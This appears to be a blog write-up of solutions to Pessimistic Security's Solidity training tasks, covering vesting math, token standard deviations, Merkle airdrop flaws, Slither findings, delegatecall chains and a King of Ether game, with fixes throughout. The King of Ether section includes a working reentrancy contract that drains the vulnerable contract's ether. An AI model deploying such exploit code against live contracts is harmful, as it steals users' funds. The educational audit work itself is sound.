Table of Contents
Hello all, I found some cool solidity security tasks created by Pessimistic Security contributed by @korepkorep and @PavelCore. These challenges looks interesting to me, I solved all of them and you can find my solutions to them below.
Pessimistic Security Tasks Repo : Tasks
My solution Repo : Will Push Soon
Vesting
Description
Vesting contract implements a Token Vesting Pattern. Token Vesting is the process in which purchased tokens are locked and released slowly over time. Particularly this Vesting contract follows the cliff vesting. Which means the tokens will be locked for the cliff duration and after cliff duration the tokens will be released linearly. The Vesting contracts initializes the token, cliffMonthDuration, vestingMonthDuration, accounts and amounts to be locked. To release tokens release() is called. The tokens will only be released after the cliff duration has been passed. If the cliff duration passed the amountByMonth is calculated and the releaseAmount is calculated for the total months from the star time. The released amount will be transfered to the caller of release() function.
Vulnerabilities
The main vulnerability is that the tokens sent to the Vesting contract are locked forever. This is because the incorrect calculation of the amountByMonth.
uint256 amountByMonth = vestingInfo.locked / (vestingDuration + cliffDuration);
Lets say, the cliffMonthDuration = 2 and vestingMonthDuration = 5 and tokens sent are 1000.
vestingDuration + cliffDuration = (2 * 4 weeks) + (5 * 4 weeks) = 16934400
amountByMonth = 1000 / 1693440, This result 0 in solidity. So, our tokens wont be released unless the total tokens sent are greater than 1693440. That too, we will get very less amount for each month.
Attack POC
POC to catch the vulnerability :
// Before modification
function test_vesting() public{
console.log("Balance of Address(1) : ", token.balanceOf(address(1)));
console.log("Balance of Vesting : ", token.balanceOf(address(vest)));
vm.startPrank(address(1));
vm.warp(vest.startTimestamp() + 2*4 weeks + 1);
vm.expectRevert();
vest.release();
vm.stopPrank();
console.log("Balance of Address(1) : ", token.balanceOf(address(1)));
console.log("Balance of Vesting : ", token.balanceOf(address(vest)));
}
Recommendation
To fix the bug, we need to calculate the amountByMonth by dividing the (vestingDuration + cliffDuration) by 4 weeks.
uint256 amountByMonth = vestingInfo.locked / ((vestingDuration + cliffDuration) / 4 weeks );
What this does is, it ensures to calculate the amout for one month, instead of calculating for the huge number of seconds.
Corrected Code :
// This code snippet is provided by Pessimistic company.
// To apply for the internship opportunity at Pessimistic company,
// please fill out the form by visiting the following link: https://forms.gle/SUTcGi8X86yNoFnG7
// Caution: This code is intended for educational purposes only
// and should not be used in production environments.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.14;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract Vesting {
event TokenReleased(
address indexed account,
address indexed token,
uint256 amount
);
struct Info {
uint256 locked;
uint256 released;
}
address public immutable token;
uint256 public immutable startTimestamp;
uint256 internal cliffDuration;
uint256 internal vestingDuration;
mapping(address => Info) internal _vesting;
/**
* @notice constructor
* @param token_ - token address
* @param cliffMonthDuration - cliff duration in months
* @param vestingMonthDuration - vesting duration in months
* @param accounts - vesting accounts
* @param amounts - vesting amounts of accounts
**/
constructor(
address token_,
uint256 cliffMonthDuration,
uint256 vestingMonthDuration,
address[] memory accounts,
uint256[] memory amounts
) {
startTimestamp = uint64(block.timestamp);
token = token_;
cliffDuration = cliffMonthDuration * 4 weeks;
vestingDuration = vestingMonthDuration * 4 weeks;
for (uint256 i = 0; i < accounts.length; i++) {
_vesting[accounts[i]] = Info({locked: amounts[i], released: 0});
}
}
function release() external {
//add history by block
address sender = msg.sender;
require(
block.timestamp > startTimestamp + cliffDuration,
"cliff period has not ended yet."
);
Info storage vestingInfo = _vesting[sender];
- uint256 amountByMonth = vestingInfo.locked / (vestingDuration + cliffDuration);
+ uint256 amountByMonth = vestingInfo.locked / ((vestingDuration + cliffDuration)/ 4 weeks);
uint256 releaseAmount = ((block.timestamp - startTimestamp) / 4 weeks) *
amountByMonth -
vestingInfo.released;
require(releaseAmount > 0, "not enough release amount.");
vestingInfo.released += releaseAmount;
SafeERC20.safeTransfer(IERC20(token), sender, releaseAmount);
}
}
POC To ensure secure code :
// After fixing bug
function test_vestingFixed() public{
console.log("Balance of Address(1) : ", token.balanceOf(address(1)));
console.log("Balance of Vesting : ", token.balanceOf(address(vest)));
vm.startPrank(address(1));
vm.warp(vest.startTimestamp() + 2*4 weeks + 1);
vest.release();
vm.stopPrank();
console.log("Balance of Address(1) : ", token.balanceOf(address(1)));
console.log("Balance of Vesting : ", token.balanceOf(address(vest)));
}
Vulnerable BEP20
Description
BEP20 basically refers to a token standard used for creating tokens on Binance Smart Chain, just like ERC20 for creating tokens on Ethereum. BEP20 have many similarities with the ERC20 token standard. To interact with the BSC blockchain, a token based on the BEP-20 standard, BNB, is required to pay for transactions, just like Ether is used to pay for gas fees in the Ethereum blockchain. In fact, the BEP-20 standard is an extension of the ERC–20 standard on Ethereum.
Observations
BEP20.sol file consists of a IBEP20 interface, Context contract, SafeMath library, Ownable contract, BEP20Token contract. BEP20Token contract inherits the all the contracts and interface.
- It has two mappings
_balancesand_allowancessimilar to ERC20 - BEP20 token has the
name,symbol,totalSupply,decimals. - The totalSupply is
1000000000000000 * 1e18will be minted to the contract deployer. balanceOf()andallowance()returns the balances, allowances respectively.- It has
approve()andtransferFrom()functions similar to ERC20. increaseAllowances()anddecreaseAllowances()were used to change the allowances securely.mint()andburn()functions were implemented.burnFrom()function is appeared which is not in ERC20- In
Ownablecontract CEI are not followed. Events were emitted before effects.
Differences from Standard BEP20
Transferevent was not emitted inside the constructor, were the deployer gets the totalSupply amount of tokens.- No
getOwner()function is implemented. Which is necessary as per the standard. - Burning a token emits an event
Burn(). Which is not the standard event. - After burning a token, the
_burn()should emit an eventTransfer(account, address(0), amount); burnFrom()function is defined. Which not necessary and not mentioned in standard.
Recommendations
- Implement
getOwner()function which is necessary as per standard. - Remove
Burnevent, replace this withTransferevent. - Use
mint()function instead of direct update of balance of owner inside constructor. - Use
increaseAllowances()anddecreaseAllowances()to change allowances instead ofapprove().
Libraries
Description
A library in Solidity is a different type of smart contract that contains reusable code. Once deployed on the blockchain (only once), it is assigned a specific address and its properties / methods can be reused many times by other contracts in the Ethereum network.
Observations
- The CountersUpgradeable and EnumerableSetUpgradeable are removed by the OpenZeppelin, they are no more accessible.
- We can use a storage variable as counter instead of CountersUpgradeable contract, because the arithmetic checks were done by the solidity compiler 0.8.x
- I have manually added these two contracts to keep the challenge as it is.
- The
Libraries.solconsists of two library contractsItemsandPlacements. - The
Itemslibrary have two structsItemIdandItem. TheItemslibrary functions can be called onItemIdstruct. (using Items for ItemId). Placementlibrary have two structsPlacementsandRegistry- CountersUpgradeable functions can be called on
CountersUpgradeable.Counterand Items functions can be calleable onItems.Item - An abstract contract
ManageStoragealso defined.
Questions
How is the _placementRegistry from the ManagerStorage contract initialized? (Write a mini-contract with 3 variants of initialization. For instance, you can design it as 3 functions).
_placementRegistryis an instance of structPlacements.Registry. That is theRegistrystruct insidePlacementslibrary.placementRegisrtyis not initialized inside ManagerStorage.- Structs with nested mappings can't be directly constructed. i.e, we cannot use
Placements.Registry({})initialization method. - This is because since version 0.7.0, structs or arrays that contain a mapping can only be used in storage, so Solidity complains because variables in an instantiation function would be in memory by default.
contract Manager is ManagerStorage{ constructor(){ _placementRegistry.placementIdTracker = CountersUpgradeable.Counter(0); } function initialize() public { _placementRegistry.placementIdTracker = CountersUpgradeable.Counter(0); } function initializeX(Placements.Placement memory placement) public { _placementRegistry.placementIdTracker = CountersUpgradeable.Counter(0); uint placementId = Placements.register(_placementRegistry, placement); } }Are the items at line 73 in the Placements contract added correctly? Why? (Give a detailed explanation).
- The items were added to
placementRecorditems correctly. But theplacementIdin line 66 is not defined. This should the the current counter value after increment on Counter.
function register(Registry storage self, Placement memory placement) external returns (uint256 placementId) { self.placementIdTracker.increment(); + placementId = self.placementIdTracker.current(); Placement storage placementRecord = self.placements[placementId]; placementRecord.sender = placement.sender; placementRecord.beneficiary = placement.beneficiary; placementRecord.deadline = placement.deadline; for (uint256 i = 0; i < placement.items.length; i++) { placementRecord.items.push(placement.items[i]); placement.items[i].deposit(placement.fee); } }- The
placementRecordis thePlacementstruct. i.e,self.placements[placementId]is points to the mapping insideRegistrystruct which gets thePlacementstruct from placementId. placementRecordwas updated with sender, beneficiary and deadline.- Then for loop fetches each Item struct from the array of Item structs. They will be pushed to the
placementRecord.itemswhich is an array of Item structs. - Then
deposit()is called on theplacement.items[i]which is a Item struct. We can seeusing Items for Items.Item;this enabledeposit()to be called on the Item struct.
- The items were added to
What is the purpose of using Items for ItemtId in Items library? (Give an extended explanation and specify the line in the code).
- By
using Items for ItemId, the ItemId struct gains access to functions defined within the Items library. This extends the functionality of the ItemId struct without directly modifying its definition. - By extending
ItemIdwith the Items library, functions like token and hash become directly accessible to instances of ItemId. - In line 40
address itemToken = item.id.token();is used to fetch theitemToken. - The
token()function is available to call onitem.idwhich is nothing but theItemIdinstance.
- By
How is the placement fee deducted? Who is it paid from and to whom? How are msg.sender and address(this) changed with each external call? (Give a detailed explanation)
- The registration can be done by using this contract,
contract Manager is ManagerStorage{ function registerPlacement(Placements.Placement memory placement) public returns (uint256 placementId) { placementId = Placements.register(_placementRegistry, placement); } }- Manager contract will takes the Placement struct and calls the
register()function of librarPlacements. - The first paramenter is the
Registrystruct and the second one isPlacementsstruct. - The
feeamount oftokenwill be paid frommsg.senderto theManagercontract. - The
msg.senderwill always the caller of theregisterPlacement()function. And thethiswill be the address ofManager()contract. - This is because when calling public or external functions of libraries,
DELEGATECALLwill be made to the library. - What delegatecall does is, it maintains the context of call. That is the
msg.sender. So, everytime theregister()function of Placement library is called, themsg.senderwill be the actual caller of theregisterPlacement()function.
Vulnerabilities
- The system id vulnerable, in such a that it can accept any tokens, An attacker could deploy a fake token and can register the placement.
- Attacker could even DOS the protocol by passing huge number of items array.
Airdrop
Description
The Airdrop contract implements a Merkle tree for ERC20 pull-based airdrops. Merkle trees used in airdrops , since Merkle proofs allow us to very efficiently implement ERC20 token airdrops. The implementation simple using Openzeppelin MerkleProof library. The Airdrop contract imports MerkleProof and SafeERC20 contracts. It stores token address and merkleroot. And implements a claim() function for users to pass their merkleproof and amount to claim their tokens.
Vulnerabilities
First of all, the initial check
require(_erc20.balanceOf(msg.sender) == 0);stops users claiming their tokens even if they haven't claimed it before.An attacker can claim his tokens initially and sends at least
1token to the other user, in this case the user cannot claim their tokens.So, this is not an efficient check to find the user already claimed the tokens or not.
Instead we can keep a mapping to check the claim status of the users.
And the verification process also incorrectly finding the node.
keccak256(abi.encode(msg.sender))is the node being verified. But this is not the correct way to check, it should include theamount.Also, as per OpenZeppelin docs it is suggested to use the following line to extract the leaf node.
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(addr, amount))));And check the balance of the Airdrop contract.
Fixed code :
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.9; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; contract Airdrop { using MerkleProof for bytes32[]; using SafeERC20 for IERC20; bytes32 private _merkleTreeRoot; IERC20 private _erc20; mapping (address => bool) private isClaimed; event Claim(address indexed who, uint256 amount); constructor(IERC20 erc20, bytes32 merkleTreeRoot) { _erc20 = erc20; _merkleTreeRoot = merkleTreeRoot; } function claim(uint256 amount, bytes32[] calldata proof) external { require(!isClaimed[msg.sender], "Already claimed"); require(amount <= _erc20.balanceOf(address(this)), "Out of tokens" ); bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(msg.sender, amount)))); //bytes32 leaf = keccak256(abi.encode(msg.sender, amount)); // this will also works require(proof.verify(_merkleTreeRoot, leaf), "User was not found"); isClaimed[msg.sender] = true; _erc20.safeTransfer(msg.sender, amount); emit Claim(msg.sender, amount); } }
NFT
Description & Observations
First of all the NFT.sol uses the compiler version ^0.8.2. It imported many external openzeppelin library contracts. The IERC2981Royalties, IRoyaltiesProvider, RoyaltiesV2 interfaces, ERC2981Base, AbstractRoyalties abstract contracts, LibPart, LibRoyaltiesV2, libraries and NFT contract were defined. It uses role based access control on functions. At an high level the NFT contracts implements an ERC721 token standard.
Configuration
To install dependencies of NFT.sol run following command.
npm i @openzeppelin/contracts@4.9.0-rc.0 --save-devInstall
solc-selectand0.8.2solc versionpip3 install solc-selectsolc-select install 0.8.2solc-select use 0.8.2Run slither
slither . --solc-disable-warnings --exclude-informational
Slither Output & Validation
[HIGH] Nft.withdraw() (src/NFT/NFT.sol#328-332) sends eth to arbitrary user.
The vulnerability is because of unprotected call to a function sending Ether to an arbitrary address.
/// @dev owner can withdraw Ether sent to the contract function withdraw() public onlyRole(CEO) { uint256 balance = address(this).balance; require(balance != 0); payable(msg.sender).transfer(balance); }The
withdraw()function should send the contract balance to theowner. Here, the balance was sent to themsg.sender.Only callers who have the
CEOrole can call thewithdraw()function.The
CEOrole was assigned to the contract deployer. The actual owner is also the contract deployer.So,
msg.senderwill be theownerorCEO.If any unwanted bypass has been done to the
onlyRole(CEO), the funds will be lost.Its recommended to send the balance to the
ownerinstead ofmsg.sender./// @dev owner can withdraw Ether sent to the contract function withdraw() public onlyRole(CEO) { uint256 balance = address(this).balance; require(balance != 0); - payable(msg.sender).transfer(balance); + payable(owner).transfer(balance); }
[HIGH] Nft.tokenURI(uint256) (src/NFT/NFT.sol#235-243) calls abi.encodePacked() with multiple dynamic arguments.
The vulnerability is a collision due to dynamic type usages in abi.encodePacked
As the solidity docs describe, two or more dynamic types are passed to abi.encodePacked. Moreover, these dynamic values are user-specified function arguments in external functions, meaning anyone can directly specify the value of these arguments when calling the function.
function tokenURI(uint256 _tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) { string memory _str = Strings.toString(_tokenId); return string(abi.encodePacked(baseUri, _str, suffix)); }Here the vulnerability has no effect, because the abi.encodePacked is not dealing with user specifed dynamic inputs.
But, it missing a minor check of the
baseUrilength.return baseUri.length > 0 ? string(abi.encodePacked(baseUri, _str, suffix)): "" ;The usage of the
abi.encodePackedbecomes vulnerable in the case of hash verification.If you use
keccak256(abi.encodePacked(a, b))and both a and b are dynamic types, it is easy to craft collisions in the hash value by moving parts ofaintoband vice-versa.More specifically,
abi.encodePacked("a", "bc") == abi.encodePacked("ab", "c").
[MEDIUM] Reentrancy in Nft.summon(address,uint256) (src/NFT/NFT.sol#189-220)
Slither found this as vulnerability because the state variable updates were done after the external calls.
The external calls was done on a token functions, they are not the low level
call's.There is no high severity in this vulnerability because, the
transferFromfunction doesnt invoke any fallback of the caller.However attacker could write a malicious ERC-20 with custom transferFrom() or approve() that have re-entrancy hooks to attack a target.
To do this, attacker has to update the
utilityTokenorgovernanceTokenaddress. This can only done by the users with roleCLEVELTo mitigate these possible attacks we can follow the CEI pattern.
function summon(address _to, uint256 _tokenId) external whenNotPaused payable { require(summoningEnabled, 'Summoning is currently disabled'); require(_exists(_tokenId), 'Token does not exist'); require(ownerOf(_tokenId) == msg.sender, 'Sender is not the token owner'); require(items[_tokenId].lastSummoned + summoningLock < block.timestamp, 'Need to wait to summon'); require(items[_tokenId].summonCount < maxSummoningCount, 'Exceeded Summoning Count'); uint256 utilitySummoningFee = summoningCosts[utilityToken][items[_tokenId].summonCount]; uint256 governanceSummoningFee = summoningCosts[governanceToken][items[_tokenId].summonCount]; // Push a summoned token to the items array items.push(Item(block.timestamp, 0, 0, _tokenId, true)); items[_tokenId].summonCount++; items[_tokenId].lastSummoned = block.timestamp; if(utilitySummoningFee > 0) { require(ERC20(address(utilityToken)).transferFrom(msg.sender, address(this), utilitySummoningFee), "Transfer failed"); } if(governanceSummoningFee > 0) { require(ERC20(address(governanceToken)).transferFrom(msg.sender, address(this), governanceSummoningFee), "Transfer failed"); } // Mint the new summoned token uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(_to, tokenId); emit Summoned(msg.sender, _to, tokenId); }
[LOW] Nft.royaltyInfo(uint256,uint256).royalties (src/NFT/NFT.sol#356) shadows
- This is a variable shadowing vulnerability
royaltiesvariable inAbstractRoyaltiesin line 85 is being shadowed by theroyaltiesvariable at line 356.
[LOW] Nft.updateUtilityAddress(address)._address (src/NFT/NFT.sol#278) lacks a zero-check on
- Lack of zero address check of
_addressinupdateUtilityAddress()function.
- Lack of zero address check of
[LOW] Nft.updateGovernanceAddress(address)._address (src/NFT/NFT.sol#284) lacks a zero-check on
- Lack of zero address check of
_addressinupdateGovernanceAddress()function.
- Lack of zero address check of
[LOW] Nft.setOwner(address)._owner (src/NFT/NFT.sol#316) lacks a zero-check on
- Zero address check has to be done when updating new
ownerinsetOwner()function.
- Zero address check has to be done when updating new
[LOW] Nft.updateRoyaltyAddress(address)._address (src/NFT/NFT.sol#363) lacks a zero-check on
- No zero address check of new royalty address in
updateRoyaltyAddress.
- No zero address check of new royalty address in
[LOW] Reentrancy in Nft.safeMint(address) (src/NFT/NFT.sol#181-187)
Again slither marking this as a reentrancy, because the sate variable updation was done after the external call.
Update the function as follows
function safeMint(address _to) public whenNotPaused onlyRole(CLEVEL) { uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); items.push(Item(block.timestamp, 0, 0, 0, false)); _safeMint(_to, tokenId); emit AdminMinted(msg.sender, _to, tokenId); }
[LOW] Nft.summon(address,uint256) (src/NFT/NFT.sol#189-220) uses timestamp for comparisons.
- The usage of
block.timestampfor deadline check can be exploited by the malicious validators. - This offers no protection as
block.timestampwill have the value of whichever block the txn is inserted into, hence the txn can be held indefinitely by malicious validators.
- The usage of
Foundry Task
Description
The PriceGetter contract is designed to fetch the price conversion rate from DAI to USDC using Uniswap V3's price oracle. Contract have dai and usdc token addresses on arbitrum and Time Weighted Average Price (TWAP) as 1800. The daiToUsdc() function calculates and returns the amount of USDC equivalent to a given amount of DAI.
To install dependencies :
$ forge install uniswap/v3-core --no-commit
$ forge install uniswap/v3-periphery --no-commit
Initial Test Results :
mj0ln1r@Linux:~/internship-tasks/Foundry task$ forge test -vv --fork-url https://rpc.ankr.com/arbitrum
[⠑] Compiling...
No files changed, compilation skipped
Running 1 test for test/PriceGetter.t.sol:PriceGetterTest
[FAIL. Reason: assertion failed] test_DaiToWant() (gas: 88731)
Logs:
Error: a < b not satisfied [uint]
Value a: 1000497454863863263864864160056
Value b: 1100000
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 14.88s
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/PriceGetter.t.sol:PriceGetterTest
[FAIL. Reason: assertion failed] test_DaiToWant() (gas: 88731)
Encountered a total of 1 failing tests, 0 tests succeeded
Reason of test fail
The price range of the DAI/USDC pool is always lies between 0.9 to 1.1. This is because DAI and USDC are both stablecoins, which are designed to maintain a value close to 1 USD. The range of 0.9 to 1.1 is chosen to accommodate minor fluctuations in the price of these stablecoins. If the price of DAI/USDC falls outside this range, LPs may choose to remove their liquidity to avoid potential losses.
The
assertGt(price, 9 * 10 ** (usdcDecimals - 1))andassertLt(price, 11 * 10 ** (usdcDecimals - 1))lines are assertions to verify that the fetched price is within the expected range.That is the fetched prize should be between,
900000and1100000.The price we result is in high precision. We can round the price in terms of
usdcby dividing the price with10**(usdcDecimals + daiDecimals)function test_DaiToWant() public { uint256 price= priceGetter.daiToUsdc(10 ** daiDecimals); price = price/ 10**(usdcDecimals + daiDecimals); assertGt(price, 9 * 10 ** (usdcDecimals - 1)); // price > 0.9$ assertLt(price, 11 * 10 ** (usdcDecimals - 1)); // price < 1.1$ }We can also calculate the
priceby the formula1.0001 ** tickThen the result can be divided by
10**6to get the price inUSDC.The above updated test will pass and it ensures the price of usdc is between 0.9 to 1.1.
mj0ln1r@AHLinux:~/internship-tasks/Foundry task$ forge test -vv --fork-url https://rpc.ankr.com/arbitrum
[⠑] Compiling...
No files changed, compilation skipped
Running 1 test for test/PriceGetter.t.sol:PriceGetterTest
[PASS] test_DaiToWant() (gas: 23487)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.27s
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Delegatecall
Description
The DelegateCall.sol consists of four contract Manager, MetaHub, Vault and Controller. Two interfaces which are used to interact with MetaHub and Controller. One Assets library is defined. These contracts makes a complex calls and delegatecalls.
Questions
Which contract is the entry point?
- The entry point of this contract chain is the
Managercontract. - The
deposit()function in theManagercontract is the starting point for this contract interaction. When a user calls the deposit function with a specific tokenId, it triggers a call to the deposit function in theMetahubcontract and the chain continues.
- The entry point of this contract chain is the
Where in the code is the
onERC721Receivedfunction from Vault called? You need to write out the call chain.Where in the code is theonERC721Receivedfunction from Vault called? You need to write out the call chain.- The
onERC721Receivedfunctionis defined insideVaultcontract, but it was not called directly. - When we call
deposit()function inManagerwith a tokenId, it will call thedeposit()function of theMetaHubcontract. - The
MetaHubcontract now calls thetransferAssetToVault()function onAssetslibrary. - Then the
Assetslibrary will make adelegatecallto thetransferAssetToVault()on theControllercontract. - The
Controllercontract will call the internal_transferAsset()function. - The
_transferAsset()function will now calls thetransferFrom()function ofERC721contract with thetovalue as theVaultaddress. - Finally, when the asset sent to the
VaulttheonERC721Received()will be invoked. - NOTE: In openzeppelin ERC721 contract the
onERC721Received()onlycalled if we sent asset usingsafeTransferFrom(). - Tx chain : Manager -> MetaHub -> Assets -> Controller -> ERC721 -> Vault.onERC721Received().
- The
What are
address(this)andmsg.senderequal to when Controller.transferAssetToVault is called?- The
address(this)will be theMetaHubandmsg.senderwill beMetahub. Controller.transferAssetToVault()is called by theAssetslibrary throughdelegatecall. i.e,msg.sender,address(this)will be maintained from theAssets.Assets.transferAssetToVault()is called by theMetHub.deposit()withdelegatecallbecause the call is to a library.- So, the
msg.senderandaddress(this)atAssets.transferAssetToVault()same as values atController.transferAssetToVault().
- The
Will
requireof modifierwhenAssetDepositAllowed(Vault contract) be reverted or not? Why?The
requirewill not reverted, because theoperatoris the_metahubaddress.operatoris themsg.senderinside the ERC721 contract.try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval)_msgSender()is the operator that passed toonERC721Received().msg.senderin ERC721 is theMetahubcontract address. Because the Metahub delegatecalls Controller function which calls the ERC721 contract.
Will modifier
onlyDelegatecallfrom Controller contract correctly work out? Why?onlyDelegatecallmodifier is working properly.modifier onlyDelegatecall() { if (address(this) == __self) revert FunctionMustBeCalledThroughDelegatecall(); _; }address(this)when a delegatecall was made fromAssetslibrary will be theaddress(this)inside theAssets.So, the
address(this)atonlyDelegatecallmodifier will be the address ofMetaHub.If the
address(this)is same as the__selfthat means no delegatecall was made. So, the modifier will revert.
How many contracts are being deployed? Which ones?
- Manager, Vault, Controller, MetaHub and already deployed Token contract.
King of the Ether
Description
The KingOfEther contract is implemented in the way that it is mentioned. Every user is able to send ether to the contracts unti the game is on. The one who stakes most will be the king and he will get 1 ether extra as a reward. And every users will be able to withdraw funds once the game is over.
KingsOfEther
```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract KingOfEther{
address public owner;
address public king;
bool public isGameOver;
uint public startingTime;
mapping (address => uint) public stakes;
event King(address, uint);
constructor() payable {
require(msg.value == 1 ether, "Send 1 ether on deployment");
startingTime = block.timestamp;
owner = msg.sender;
isGameOver = false;
}
function depositStake() public payable {
require(msg.value > 0, "0 Amount not valid");
require(!isGameOver, "Game ended");
stakes[msg.sender] += msg.value;
if(stakes[msg.sender] > stakes[king]){
king = msg.sender;
emit King(king, stakes[king]);
}
}
function endGame() public {
require(block.timestamp > startingTime + 30, "Can't end now");
require(!isGameOver, "Alredy ended");
stakes[king] += 1 ether;
isGameOver = true;
}
function withdraw() public {
require(isGameOver, "Game not ended");
require(stakes[msg.sender] > 0, "You have no stakes");
(bool success, ) = msg.sender.call{value: stakes[msg.sender]}("");
require(success, "Withdraw Failed");
stakes[msg.sender] = 0;
}
}
```
The
withdraw()function is vulnerable to Reentrancy as it makes external call before updating the stake value.The
AttackKingcontract will exploit the KingOfEther and drains all the ether.contract AttackKing{ KingOfEther public kingContract; constructor(address _kingContract) { kingContract = KingOfEther(_kingContract); } function deposit() public payable { kingContract.depositStake{value: 1 ether}(); } function exploit() public { require(block.timestamp > kingContract.startingTime()+30, "Wait to exploit"); if(!kingContract.isGameOver()){ kingContract.endGame(); } kingContract.withdraw(); } receive() external payable { if(address(kingContract).balance >= 1 ether){ kingContract.withdraw(); } } }Call
deposit()first then callexploit()to attack theKingOfEther.
Vulnerable ERC20
Description
ERC20 is a fungible token standard came from EIP20. ERC20 Tokens are widely used fungible tokens in ethereum. The ERC20 token must implement the necessary functions mentioned in the EIP20 proposal.
Observations
- The ERC20.sol file consists of a
SafeMathlibrary and aERC20contract. ERC20contract uses SafeMath library on the uint256 instances.- It has basic state variables name, total_supply, symbol, decimals which are required for a ERC20 token.
- It uses two mappings
_balancesandallowancesto keep track balances of user and allowances of a user. balanceOf()function returns the token balance of an address andallowance()returns approval amount of tokens by the owner to the spender.transfer()function transfers the tokens between addresses. And emitsTransferevent on transfer.approve()function approves a spender to spend owner tokens. EmitsApproveevent on approval.transferFrom()used to transfer the tokens on behalf of the token owner by the spender.
Differences from Standard ERC20
- Vulnerable ERC20 enables custom decimal places, while many ERC20 tokens follows the standard 18 decimals.
- Owner will get the the
totalSupplyof token balance after deploying the token. approve()function not checking thetoaddress. (Missing zero address check).transfer()function is not following the standard ERC20 pattern.- Transferring tokens from one address to other address will transfer
6%of tokens to theowner. - The
Transferevent only emits with the actualfromandtoandamount. Transferevent not emitted with the fee tokens sent to theowner.- Also emitted token amount is the amount that user wants to send. Not the actual amount that being sent (minus comission).
TransferFrom()function not checking for the allowed allowances, this not result in any token loss but overflow will occur if the amount passed to the TransferFrom is greater than the actual allowance- All the functions are
publicby default in standard ERC20.
Vulnerabilities & Recommendations
approve()allows the spender account using a given number of tokens by updating the value of allowance.- Suppose the spender account is able to control miners' confirming order of transferring, then spender could use up all allowance before approve comes into effect.
- After approve() is effective, spender has access to the new allowance, causing total tokens spent greater than expected and resulting in Re-approve attack.
- Using
increaseApprove()anddecreaseApprove()functions are the recommendatios for it. - Recommended to declare state variables private and use implement public functions to read them.
- Its recommended to inherit OpenZeppelin ERC20 contract to use.
Thank you !